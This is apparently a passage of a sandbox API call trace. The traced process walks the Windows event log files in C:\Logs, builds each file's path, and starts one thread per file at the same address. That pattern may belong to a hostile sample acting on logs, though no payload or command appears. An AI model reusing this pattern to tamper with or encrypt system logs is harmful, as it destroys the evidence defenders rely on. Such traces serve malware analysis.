	[0074.416] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", cAlternateFileName="MIA934~1.EVT")) returned 1
	[0074.416] wcscmp (_String1="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", _String2=".") returned 1
	[0074.416] wcscmp (_String1="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", _String2="..") returned 1
	[0074.416] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x74) returned 0x2d60448
	[0074.416] wcscpy (in: _Dest=0x2d60448, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.416] wcscat (in: _Dest=0x2d60448, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.416] wcscat (in: _Dest=0x2d60448, _Source="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx"
	[0074.416] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d60448, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x83c
	[0074.417] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5071f8b0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5071f8b0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-PnP%4Configuration.evtx", cAlternateFileName="MIB32D~1.EVT")) returned 1
	[0074.417] wcscmp (_String1="Microsoft-Windows-Kernel-PnP%4Configuration.evtx", _String2=".") returned 1
	[0074.417] wcscmp (_String1="Microsoft-Windows-Kernel-PnP%4Configuration.evtx", _String2="..") returned 1
	[0074.417] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x72) returned 0x2d60048
	[0074.417] wcscpy (in: _Dest=0x2d60048, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.417] wcscat (in: _Dest=0x2d60048, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.417] wcscat (in: _Dest=0x2d60048, _Source="Microsoft-Windows-Kernel-PnP%4Configuration.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx"
	[0074.417] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d60048, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x840
	[0074.418] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8ebf6d7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc8ebf6d7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", cAlternateFileName="MICA77~1.EVT")) returned 1
	[0074.418] wcscmp (_String1="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", _String2=".") returned 1
	[0074.418] wcscmp (_String1="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", _String2="..") returned 1
	[0074.418] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x2d7ad60
	[0074.418] wcscpy (in: _Dest=0x2d7ad60, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.418] wcscat (in: _Dest=0x2d7ad60, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.418] wcscat (in: _Dest=0x2d7ad60, _Source="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx"
	[0074.418] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7ad60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x844
	[0074.419] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5090f75d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5090f75d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", cAlternateFileName="MI1E8D~1.EVT")) returned 1
	[0074.419] wcscmp (_String1="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", _String2=".") returned 1
	[0074.419] wcscmp (_String1="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", _String2="..") returned 1
	[0074.419] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7c) returned 0x2e35ad8
	[0074.419] wcscpy (in: _Dest=0x2e35ad8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.419] wcscat (in: _Dest=0x2e35ad8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.419] wcscat (in: _Dest=0x2e35ad8, _Source="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx"
	[0074.419] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e35ad8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x848
	[0074.420] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd75102f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd75102f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", cAlternateFileName="MID067~1.EVT")) returned 1
	[0074.506] wcscmp (_String1="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", _String2=".") returned 1
	[0074.506] wcscmp (_String1="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", _String2="..") returned 1
	[0074.506] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x78) returned 0x2d608c8
	[0074.506] wcscpy (in: _Dest=0x2d608c8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.506] wcscat (in: _Dest=0x2d608c8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.506] wcscat (in: _Dest=0x2d608c8, _Source="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx"
	[0074.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d608c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x850
	[0074.978] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-WHEA%4Errors.evtx", cAlternateFileName="MIDE4D~1.EVT")) returned 1
	[0074.978] wcscmp (_String1="Microsoft-Windows-Kernel-WHEA%4Errors.evtx", _String2=".") returned 1
	[0074.978] wcscmp (_String1="Microsoft-Windows-Kernel-WHEA%4Errors.evtx", _String2="..") returned 1
	[0074.978] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x2d86ce8
	[0074.978] wcscpy (in: _Dest=0x2d86ce8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.978] wcscat (in: _Dest=0x2d86ce8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.978] wcscat (in: _Dest=0x2d86ce8, _Source="Microsoft-Windows-Kernel-WHEA%4Errors.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx"
	[0074.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d86ce8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b0
	[0074.979] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-WHEA%4Operational.evtx", cAlternateFileName="MI36C5~1.EVT")) returned 1
	[0074.979] wcscmp (_String1="Microsoft-Windows-Kernel-WHEA%4Operational.evtx", _String2=".") returned 1
	[0074.979] wcscmp (_String1="Microsoft-Windows-Kernel-WHEA%4Operational.evtx", _String2="..") returned 1
	[0074.979] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4732dd0
	[0074.979] wcscpy (in: _Dest=0x4732dd0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.979] wcscat (in: _Dest=0x4732dd0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.979] wcscat (in: _Dest=0x4732dd0, _Source="Microsoft-Windows-Kernel-WHEA%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx"
	[0074.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4732dd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b4
	[0074.980] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59547c37, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x59547c37, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Known Folders API Service.evtx", cAlternateFileName="MI86D6~1.EVT")) returned 1
	[0074.980] wcscmp (_String1="Microsoft-Windows-Known Folders API Service.evtx", _String2=".") returned 1
	[0074.980] wcscmp (_String1="Microsoft-Windows-Known Folders API Service.evtx", _String2="..") returned 1
	[0074.980] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x72) returned 0x2d609c8
	[0074.980] wcscpy (in: _Dest=0x2d609c8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.980] wcscat (in: _Dest=0x2d609c8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.980] wcscat (in: _Dest=0x2d609c8, _Source="Microsoft-Windows-Known Folders API Service.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx"
	[0074.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d609c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x80c
	[0074.981] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb7386e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbb7386e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-LiveId%4Operational.evtx", cAlternateFileName="MI4C58~1.EVT")) returned 1
	[0074.981] wcscmp (_String1="Microsoft-Windows-LiveId%4Operational.evtx", _String2=".") returned 1
	[0074.981] wcscmp (_String1="Microsoft-Windows-LiveId%4Operational.evtx", _String2="..") returned 1
	[0074.981] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x2d86d58
	[0074.981] wcscpy (in: _Dest=0x2d86d58, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.981] wcscat (in: _Dest=0x2d86d58, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.981] wcscat (in: _Dest=0x2d86d58, _Source="Microsoft-Windows-LiveId%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx"
	[0074.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d86d58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ac
	[0074.981] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93d06f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93d06f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-MUI%4Admin.evtx", cAlternateFileName="MI30D3~1.EVT")) returned 1
	[0074.981] wcscmp (_String1="Microsoft-Windows-MUI%4Admin.evtx", _String2=".") returned 1
	[0074.981] wcscmp (_String1="Microsoft-Windows-MUI%4Admin.evtx", _String2="..") returned 1
	[0074.981] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x54) returned 0x2d777e0
	[0074.982] wcscpy (in: _Dest=0x2d777e0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.982] wcscat (in: _Dest=0x2d777e0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.982] wcscat (in: _Dest=0x2d777e0, _Source="Microsoft-Windows-MUI%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx"
	[0074.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d777e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x81c
	[0074.982] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93aa49b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93aa49b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-MUI%4Operational.evtx", cAlternateFileName="MI6F01~1.EVT")) returned 1
	[0074.982] wcscmp (_String1="Microsoft-Windows-MUI%4Operational.evtx", _String2=".") returned 1
	[0074.982] wcscmp (_String1="Microsoft-Windows-MUI%4Operational.evtx", _String2="..") returned 1
	[0074.982] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x47333f0
	[0074.982] wcscpy (in: _Dest=0x47333f0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.982] wcscat (in: _Dest=0x47333f0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.982] wcscat (in: _Dest=0x47333f0, _Source="Microsoft-Windows-MUI%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx"
	[0074.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47333f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c8
	[0074.983] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d33b19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9d33b19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-NCSI%4Operational.evtx", cAlternateFileName="MI483C~1.EVT")) returned 1
	[0074.983] wcscmp (_String1="Microsoft-Windows-NCSI%4Operational.evtx", _String2=".") returned 1
	[0074.983] wcscmp (_String1="Microsoft-Windows-NCSI%4Operational.evtx", _String2="..") returned 1
	[0074.983] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x62) returned 0x2d86a48
	[0074.983] wcscpy (in: _Dest=0x2d86a48, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.983] wcscat (in: _Dest=0x2d86a48, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.983] wcscat (in: _Dest=0x2d86a48, _Source="Microsoft-Windows-NCSI%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx"
	[0074.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d86a48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8cc
	[0074.984] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbcf0ff2, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbcf0ff2, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-NetworkProfile%4Operational.evtx", cAlternateFileName="MIFC66~1.EVT")) returned 1
	[0074.984] wcscmp (_String1="Microsoft-Windows-NetworkProfile%4Operational.evtx", _String2=".") returned 1
	[0074.984] wcscmp (_String1="Microsoft-Windows-NetworkProfile%4Operational.evtx", _String2="..") returned 1
	[0074.984] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x76) returned 0x2d60a48
	[0074.984] wcscpy (in: _Dest=0x2d60a48, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.984] wcscat (in: _Dest=0x2d60a48, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.984] wcscat (in: _Dest=0x2d60a48, _Source="Microsoft-Windows-NetworkProfile%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx"
	[0074.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d60a48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d0
	[0074.985] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ab3154, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ab3154, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Ntfs%4Operational.evtx", cAlternateFileName="MI6E98~1.EVT")) returned 1
	[0074.985] wcscmp (_String1="Microsoft-Windows-Ntfs%4Operational.evtx", _String2=".") returned 1
	[0074.985] wcscmp (_String1="Microsoft-Windows-Ntfs%4Operational.evtx", _String2="..") returned 1
	[0074.985] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x62) returned 0x2d86f88
	[0074.985] wcscpy (in: _Dest=0x2d86f88, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.985] wcscat (in: _Dest=0x2d86f88, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.985] wcscat (in: _Dest=0x2d86f88, _Source="Microsoft-Windows-Ntfs%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx"
	[0074.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d86f88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d4
	[0074.985] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ad9393, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ad9393, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Ntfs%4WHC.evtx", cAlternateFileName="MIB2AC~1.EVT")) returned 1
	[0074.985] wcscmp (_String1="Microsoft-Windows-Ntfs%4WHC.evtx", _String2=".") returned 1
	[0074.985] wcscmp (_String1="Microsoft-Windows-Ntfs%4WHC.evtx", _String2="..") returned 1
	[0074.985] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x52) returned 0x2d779c0
	[0074.985] wcscpy (in: _Dest=0x2d779c0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.985] wcscat (in: _Dest=0x2d779c0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.986] wcscat (in: _Dest=0x2d779c0, _Source="Microsoft-Windows-Ntfs%4WHC.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx"
	[0074.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d779c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d8
	[0074.986] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5fe5cb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5fe5cb, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", cAlternateFileName="MI6AFE~1.EVT")) returned 1
	[0074.986] wcscmp (_String1="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", _String2=".") returned 1
	[0074.986] wcscmp (_String1="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", _String2="..") returned 1
	[0074.986] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa6) returned 0x2d623f0
	[0074.986] wcscpy (in: _Dest=0x2d623f0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.986] wcscat (in: _Dest=0x2d623f0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.986] wcscat (in: _Dest=0x2d623f0, _Source="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx"
	[0074.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d623f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8dc
	[0074.987] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24cdef0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe24cdef0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-ReadyBoost%4Operational.evtx", cAlternateFileName="MIB9D2~1.EVT")) returned 1
